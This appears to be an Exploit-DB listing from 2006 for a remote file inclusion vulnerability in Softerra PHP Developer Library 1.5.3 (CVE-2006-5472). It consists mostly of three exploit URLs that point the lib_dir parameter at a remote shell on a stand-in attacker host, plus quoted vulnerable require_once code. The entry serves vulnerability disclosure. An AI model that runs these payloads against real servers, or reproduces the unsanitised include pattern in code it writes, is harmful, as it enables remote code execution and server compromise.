Softerra PHP Developer Library 1.5.3 - Remote File Inclusion

Author: MP
type: webapps
platform: php
port: 
date_added: 2006-10-11 
date_updated: 2017-10-07 
verified: 1 
codes: OSVDB-29623;CVE-2006-5472;OSVDB-29622;OSVDB-29621 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comPHPLibrary-1.5.3.zip

## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Softerra. PHP Developer Library ]                 #
#
# Class:     Remote File Include Vulnerability                  #
# Patch:     Unavailable                                        #
# Published  2006/10/12                                         #
# Remote:    Yes
# Local:     No                            			#
# Type:      High                                               #
# Site:      http://www.softerra.com/products_php-library.htm   #
# Author:    MP
# Contact:   mp01010@yahoo.com                    		#
#                                				#
#################################################################

Exploit:

http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/registry.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlcompose.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlsearch.lib.php?lib_dir=http://attacker.com/shell?


Vuln Files:

registry.lib.php
sqlcompose.lib.php
sqlsearch.lib.php


Vuln Code:
#
../lib/registry.lib.php

<? ...
require_once ($lib_dir . "sqlstorage.class.php");
... ?>
##
../lib/sqlcompose.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

##
../lib/sqlsearch.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

# milw0rm.com [2006-10-12]